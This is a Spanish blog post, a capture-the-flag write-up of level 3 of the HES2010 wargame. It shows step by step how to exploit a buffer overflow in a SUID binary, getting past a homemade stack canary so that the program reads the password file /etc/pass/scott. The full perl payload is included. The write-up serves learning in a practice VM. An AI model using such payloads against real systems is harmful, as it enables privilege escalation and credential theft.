martes, 12 de febrero de 2013

HES2010 Level #3: mi primer buffer overflow

Tantas veces como había intentado ponerme con el tema del exploiting empezando, como no, por los famosos buffer overflow, había acabado desistiendo con la cabeza hecha un lío, sin haber logrado encajar todas las piezas y con la sensación de ser justo lo que viene después de inútil. Así que esta vez tiene que ser la definitiva, o al menos esa es la intención.

Como estoy en el principio, mis conocimientos de ensamblador se reducen a lo que consigo encontrar online utilizando google y entiendo el hexadecimal gracias a la vista científica de la infinidad de veces shellcodeada calculadora de Windows, no pocas veces tengo que recurrir a la ayuda de NewLog y vlan7, los artífices del más que recomendable overflowedminds, que parece se han armado de paciencia conmigo y se lo han tomado como un reto personal. ¡Gracias chicos!

Resumiendo que me enrollo, que como soy un cabezota, hasta que no he resuelto el nivel 3 del juego HES2010 de overthewire no he parado, y tal como acostumbro toca ahora jode...estoooo deleitaros con mis andanzas.

Toma de contacto

Este wargame se lanzó en la edición 2010 de las conferencias Hackito Ergo Sum, que anualmente se celebran en Paris, y posteriomente se ha empaquetado como un fichero ovf (Open Virtualization Format) para poder ser distribuido desde la web de overthewire. Una vez descargado e importado desde, por ejemplo, vmware player, tendremos acceso al website de la compañía ficticia dirty-underwear.com. El objetivo, como no, consiste en ir superando los distintos niveles que se nos van planteando hasta dominar completamente el servidor.

Para acceder al tercer nivel nos conectaremos mediante ssh al sistema utilizando carey como nombre de usuario y la contraseña que habremos obtenido tras superar uno a uno los niveles anteriores. Una vez conectados analizaremos la estructura de nuestro directorio personal que, por lógica, debería ser similar a los directorios personales del resto de usuarios existentes en el sistema:

carey@hes2010:~$ ls -l
total 8
dr-xr-x--- 2 carey elaine 4096 2010-04-19 14:58 bin
drwxr-xr-x 2 carey carey 4096 2010-04-19 14:58 public_html

Teniendo esta estructura en cuenta y tras varias pruebas descubriremos que podemos acceder al directorio bin del usuario scott y listar su contenido:
carey@hes2010:~$ ls -ld /home/scott/bin
dr-xr-x--- 2 scott carey 4096 2010-04-19 14:58 /home/scott/bin
carey@hes2010:~$ ls -l /home/scott/bin
total 8
-r--r--r-- 1 scott scott 108 2010-04-19 14:58 errormessage
-r--r--r-- 1 scott scott 1647 2010-04-19 14:58 main.c

Parece que tenemos el código fuente de un ejecutable y un fichero de error pero, ¿donde está el ejecutable? Si tenemos en cuenta que nuestro usuario actual tiene un binario en "/home/carey/bin" llamado "somebinary" tal vez ocurra lo mismo con scott:
carey@hes2010:~$ ls -l /home/scott/bin/somebinary
-rwsr-x--- 1 scott carey 8649 2010-04-19 14:58 /home/scott/bin/somebinary

Ahí lo tenemos, invisible en el listado del directorio debido a los permisos que tiene aplicados y con el bit SUID activo; esto último implica que cuando se ejecuta lo hace con el nivel de privilegios del usuario scott (dueño del fichero). Si a esto le sumamos que la contraseña de cada uno de los usuarios se almacena en un fichero ubicado en "/etc/pass":
carey@hes2010:~$ ls -l /etc/pass
total 28
-r-------- 1 carey root 9 2010-04-19 14:58 carey
-r-------- 1 elaine root 9 2010-04-19 14:58 elaine
-r-------- 1 fred root 9 2010-04-19 14:58 fred
-r-------- 1 www-data root 9 2010-04-19 14:58 george
-r-------- 1 root root 9 2011-03-01 21:31 root
-r-------- 1 scott root 9 2010-04-19 14:58 scott
-r-------- 1 shelley root 9 2010-04-19 14:58 shelley

Parece que tendremos que aprovechar algún fallo de programación en "/home/scott/bin/somebinary" para acceder al contenido de "/etc/pass/scott" y así poder pasar al siguiente nivel. Hasta ahí lo fácil, ahora empieza lo divertido.

Leyendo el código fuente

Si analizamos el código fuente del binario a trastear, main.c, lo primero que llama la atención es que al ser compilado se ha desactivado la protección frente a la ejecución de código desde el stack (-fno-stack-protector).

Sin entrar en detalles, parece que primero se establece algún tipo de protección poniendo en la pila o stack una especie de cookie con un valor aleatorio, leído desde "/dev/urandom", que se verifica después de cada lectura de datos para comprobar que no haya sido modificada y, por lo tanto, desbordado el buffer con la intención de sobreescribir EIP; algo así como una stack canary pero implementada de forma artesanal por el desarrollador de la aplicación.

Dentro del bucle while además de comprobarse la integridad del "stack canary" se lee la secuencia de caracteres introducida por el usuario y se le aplica el algoritmo de cifrado rot13 cuyo resultado es devuelto una vez finalizado el proceso. Además, si la cadena introducida por el usuario una vez cifrada se corresponde con "debug" se muestran una serie de valores antes de la cadena cifrada resultante. Y tras lo anterior vuelta a empezar, y así ad infinitum dado que no existe una sentencia que decremente el valor del contador del bucle. Si en algún momento de la ejecución del programa el bucle terminase, cosa improbable siguiendo la lógica de la aplicación, se llamaría a la función showfile pasándole como parámetro el nombre del fichero de error "/home/scott/bin/errormessage" cuyo contenido sería mostrado al usuario.

1, 2, 3, probando, probando

Vamos a hacer algunas pruebas. Primero introduciremos la cadena "debug" para obtener su equivalente cifrada:
carey@hes2010:~$ echo debug | /home/scott/bin/somebinary
qroht

Ahora utilizaremos la cadena cifrada correspondiente a "debug" para obtener los siguientes parámetros, explicados uno a uno en el mismo orden en que serán mostrados:
  • Valor de la variable counter, utilizada en el bucle while para controlar el número de iteraciones
  • Ubicación en el stack de la variable buffer, utilizada para almacenar los datos recibidos y posteriomente los datos cifrados
  • Ubicación en el stack de la variable counter, o lo que es lo mismo, &counter
  • Ubicación en el stack de la variable errorfile, o lo que es lo mismo, &errorfile
  • Puntero almacenado en la dirección anterior y que apunta al nombre del fichero errorfile

Teniendo todo ello en cuenta, si el sistema implementa ASLR las direcciones mostradas variarán con cada ejecución de la aplicación. Comprobémoslo (bastará con un par de ejecuciones):
carey@hes2010:~$ echo qroht | /home/scott/bin/somebinary
1000000000 0xbffff738 0xbffff788 0xbffff78c 0x8048915
debug
carey@hes2010:~$ echo qroht | /home/scott/bin/somebinary
qroht
1000000000 0xbffff738 0xbffff788 0xbffff78c 0x8048915

Los resultados son iguales en ambas ejecuciones así que otra ayudita más.

Vamos a probar a desbordar el buffer de datos sin miramientos, entendiendo por tal que excederemos con creces el tamaño de buffer para alterar la "stack canary" y así comprobar que ocurre:
carey@hes2010:~$ perl -e 'print "A" x 100' | /home/scott/bin/somebinary
Security breached !

De momento creo que tenemos suficiente.

Hagamos un kit-kat

Con todo lo anterior y tirando un poco de gdb, ejecutándolo desde "/tmp" ya que es el único directorio donde tenemos permisos de escritura, la configuración de la pila o stack sería algo como lo que sigue:
HIGH ADDRESSES

...........
0xbffff7bc: contiene el EIP para seguir tras el main
EBP --> 0xbffff7b8: contiene el EBP utilizado antes del main
...........
0xbffff794: valor de c.canary
...........
0xbffff78c: puntero al nombre del fichero ERRORFILE
0xbffff788: valor almacenado en counter (1000000000)
0xbffff784: buffer[80]
........... buffer[80]
0xbffff738: buffer[80]
...........
ESP --> 0xbffff710: no es relevante
...........

LOW ADDRESSES

La última perrería que se me ocurre es intentar desbordar la variable buffer[80] lo justo para comprobar si somos capaces de sobreescribir el valor de counter y el puntero al nombre de fichero ERRORFILE sin hacer saltar las alarmas o lo que es lo mismo, sin provocar el cierre inesperado de la aplicación:
carey@hes2010:~$ perl -e 'print "A" x 88' | /home/scott/bin/somebinary
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN

¡Perfecto! Creo que ya lo tengo todo gracias a la lógica implementada en la siguiente línea del código fuente de la aplicación:
buffer[sizeof(buffer) - 1] = '\0';

Que traducido al cristiano significa: una vez leída la entrada del usuario agrega al final de buffer[80] el caracter nulo dando así por terminada la cadena.

Marchando una de payload

Primero, para poder obtener la contraseña que nos interesa tendremos que almacenar en memoria la cadena correspondiente al nombre del fichero donde ésta se encuentra, es decir, "/etc/pass/scott". Dado que podemos utilizar buffer para almacenar la cadena deseada y que la propia aplicación se encargará de finalizar correctamente el string ya tenemos el primer problema solucionado. Solo tener en cuenta que la cadena se almacenará una vez cifrada mediante rot13:
carey@hes2010:~$ echo "/etc/pass/scott" | /home/scott/bin/somebinary
/rgp/cnff/fpbgg

utilizaremos el valor anterior para almacenarla correctamente. Si nuestra cadena tiene que ir dentro de buffer[80] y ocupa 15 bytes + 1, que será sustituido al escribir el byte nulo:
PADDING + CADENA + 1 BYTE = 80 -> 64 + 15 + 1

Segundo, tendremos que modificar el puntero al nombre de fichero para que apunte a nuestra cadena en lugar de a "/home/scott/bin/errormessage". Si buffer[80] termina en la dirección 0xbffff788 y la cadena ocupa 16 bytes:
0xbffff788 - 0x10 = 0xbffff778

ése será el valor del puntero al inicio de nuestra cadena.

Tercero y último, tenemos que sobreescribir el valor de counter para hacer que sea igual a 0 y así provocar la finalización del buffer y, por lo tanto, la ejecución de la función showfile que leerá el fichero con la contraseña. La suerte es que para la lectura de los datos del usuario la aplicación confía en gets de forma que podremos incluir bytes nulos sin preocuparnos de que marquen el final de la entrada de datos.

Con todo lo anterior la configuración de nuestro payload lanzado mediante perl será, en el mismo orden en que los campos aparecen explicados:
  • 64 bytes de padding:
    "\x41" x 64

  • Cadena "/etc/pass/scott" cifrada mediante rot13:
    "\x2f\x72\x67\x70\x2f\x63\x6e\x66\x66\x2f\x66\x70\x62\x67\x67"

  • 1 byte de padding que será sustituido por NULL por la propia aplicación:
    "\x41"

  • 4 bytes nulos para establecer el valor de counter a 0:
    "\x00" x 4

  • Puntero al inicio de la cadena "/etc/pass/scott":
    "\x78\xf7\xff\xbf"

Probémoslo a ver si es cierto. El comando a ejecutar se ha partido en varias líneas para ajustarlo a la interfaz del blog, pero creo que queda clara su estructura:
carey@hes2010:~$ perl -e 'print "\x41" x 64 .
"\x2f\x72\x67\x70\x2f\x63\x6e\x66\x66\x2f\x66\x70\x62\x67\x67" .
"\x41" . "\x00" x 4 . "\x78\xf7\xff\xbf"' | /home/scott/bin/somebinary
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN/etc/pass/scott
CONTRASEÑADESEADA

Tengo que confesarlo, sigo sin tener ni p..a idea y el proceso estaba facilitado por el autor, pero ahora mismo me siento como Diós. A ver lo que dura ;-)

En breve más y mejor, espero

2 comentarios:

Newlog dijo...

Sé que es muy noob lo que voy a decir, pero en una situación parecida tardé lo suyo en llegar a:
"echo debug | /home/scott/bin/somebinary"

Triste :P

Muy buena la explicación! Me ha encantado el canary casero! Qué bueno. Así es como se aprenden conceptos que parecen complejos y después resulta que en dos líneas de código te implementas tu propio canary.

Por cierto, me gusta la interfaz del blog. Los cuadros de código.

Échale un ojo a Narnia en OverTheWire. Empiezan desde 0 y hay un nivel muuuuy parecido a este (al que me refería antes). Seguro que te encanta.

Gracias por la mención!

neofito dijo...

Muchas gracias por los comentarios, y no tienes que agradecer nada, lo que si es cierto es que me estais ayudando mucho.

Los cuadros de codigo los saque retocando el css pero no son funcionales cuando se trata de incluir codigo. En fin, no todo va a ser bueno.


Saludos